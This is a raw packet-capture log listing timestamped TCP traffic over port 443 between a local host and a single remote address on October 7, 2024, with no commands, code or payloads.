Oct 7, 2024 17:22:19.763777018 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.765096903 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.765120983 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:19.766206026 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.766243935 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:19.766254902 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.311094046 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.311615944 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.311655045 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.312019110 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.312026024 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.312416077 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.312782049 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.312808037 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.313203096 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.313208103 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.350420952 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.351237059 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.351237059 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.351249933 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.351264000 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.389221907 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.389549017 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.389566898 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.389965057 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.389971972 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.407916069 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.407970905 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.408171892 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.408230066 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.408268929 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.408298016 CEST	49731	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.408312082 CEST	443	49731	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.409764051 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.409930944 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.410012007 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.410113096 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.410130978 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.410140038 CEST	49733	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.410145044 CEST	443	49733	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.411020041 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.411047935 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.411170959 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.411264896 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.411277056 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.412018061 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.412059069 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.412122011 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.412249088 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.412261009 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.416615963 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.417228937 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.417228937 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.417246103 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.417273045 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.450440884 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.450596094 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.450715065 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.450767040 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.450767040 CEST	49732	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.450778008 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.450783968 CEST	443	49732	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.452653885 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.452744007 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.452841043 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.452939987 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.452961922 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.488071918 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.488240957 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.488352060 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.488702059 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.488718033 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.488754034 CEST	49734	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.488759041 CEST	443	49734	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.494879961 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.494916916 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.495032072 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.495121956 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.495134115 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.521833897 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.521894932 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.522052050 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.522082090 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.522082090 CEST	49735	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.522092104 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.522100925 CEST	443	49735	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.524182081 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.524215937 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:20.524295092 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.524450064 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:20.524461031 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.192301989 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.192934990 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.192962885 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.193401098 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.193407059 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.195179939 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.195430040 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.195447922 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.195760012 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.195770979 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.196152925 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.196201086 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.196388960 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.196409941 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.196451902 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.196619034 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.196640968 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.196712017 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.196717024 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.196990967 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.197006941 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.197094917 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.197098970 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.197355032 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.197360039 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.288641930 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.288801908 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.288856983 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.288965940 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.288980961 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.288990974 CEST	49737	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.288995981 CEST	443	49737	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.290513039 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.290565968 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.290633917 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.290700912 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.290719032 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.290729046 CEST	49739	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.290734053 CEST	443	49739	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.291799068 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.291840076 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.291981936 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.292174101 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.292187929 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.292517900 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.292587042 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.292630911 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.292648077 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.292706013 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.292747021 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.292751074 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.292763948 CEST	49736	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.292767048 CEST	443	49736	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.292772055 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.293471098 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.293479919 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.293536901 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.293682098 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.293694019 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.293729067 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.293757915 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.293787003 CEST	49738	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.293801069 CEST	443	49738	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.295483112 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.295511007 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.295685053 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.295867920 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.295878887 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.296170950 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.296209097 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.296267986 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.296458960 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.296471119 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.307897091 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.307959080 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.308008909 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.308084965 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.308084965 CEST	49740	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.308094025 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.308101892 CEST	443	49740	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.309994936 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.310031891 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:21.310120106 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.310252905 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:21.310269117 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.195108891 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.196865082 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.196886063 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.197324038 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.197335005 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.197823048 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.197951078 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.198220968 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.198245049 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.198565960 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.198570967 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.198754072 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.198781967 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.199043989 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.199048042 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.199083090 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.202337980 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.202398062 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.202630997 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.202645063 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.208506107 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.212580919 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.212600946 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.212960958 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.212969065 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.291122913 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.291189909 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.291285992 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.291487932 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.291507006 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.291517973 CEST	49742	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.291523933 CEST	443	49742	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.293812037 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.293975115 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.294094086 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.294183016 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.294214964 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.294277906 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.294358015 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.294358015 CEST	49743	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.294403076 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.294430017 CEST	443	49743	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.295197964 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.295211077 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.295464993 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.295516014 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.295520067 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.295587063 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.295591116 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.295631886 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.295686007 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.295698881 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.295708895 CEST	49744	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.295713902 CEST	443	49744	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.296535969 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.296555042 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.296570063 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.296578884 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.296586990 CEST	49745	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.296590090 CEST	443	49745	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.296617031 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.296771049 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.296782017 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.298935890 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.298971891 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.299037933 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.299470901 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.299484015 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.300030947 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.300076962 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.300143003 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.300242901 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.300261974 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.309643030 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.309696913 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.309892893 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.309921026 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.309926033 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.309936047 CEST	49741	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.309940100 CEST	443	49741	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.311796904 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.311810970 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.311882973 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.312340975 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.312352896 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.922548056 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.923322916 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.923357010 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.923804045 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.923809052 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.926038980 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.926053047 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.926388979 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.926424980 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.926632881 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.926660061 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.927031040 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.927040100 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.927062035 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.927067995 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.933815002 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.934144020 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.934169054 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.934561968 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.934567928 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.937918901 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.938224077 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.938256025 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:22.938572884 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:22.938582897 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.017697096 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.017776012 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.017838001 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.018009901 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.018029928 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.018042088 CEST	49747	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.018048048 CEST	443	49747	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.020803928 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.020842075 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.020939112 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.021097898 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.021111012 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.022054911 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.022104979 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.022157907 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.022238016 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.022262096 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.022274971 CEST	49749	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.022281885 CEST	443	49749	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.024147034 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.024244070 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.024324894 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.024455070 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.024490118 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.027896881 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.027965069 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.028013945 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.028104067 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.028131008 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.028151989 CEST	49746	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.028156996 CEST	443	49746	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.029999971 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.030086994 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.030199051 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.030333042 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.030368090 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.032938004 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.032994986 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.033041000 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.033113003 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.033121109 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.033135891 CEST	49748	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.033138990 CEST	443	49748	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.033778906 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.033926964 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.033991098 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.034027100 CEST	49750	443	192.168.2.5	13.107.246.60
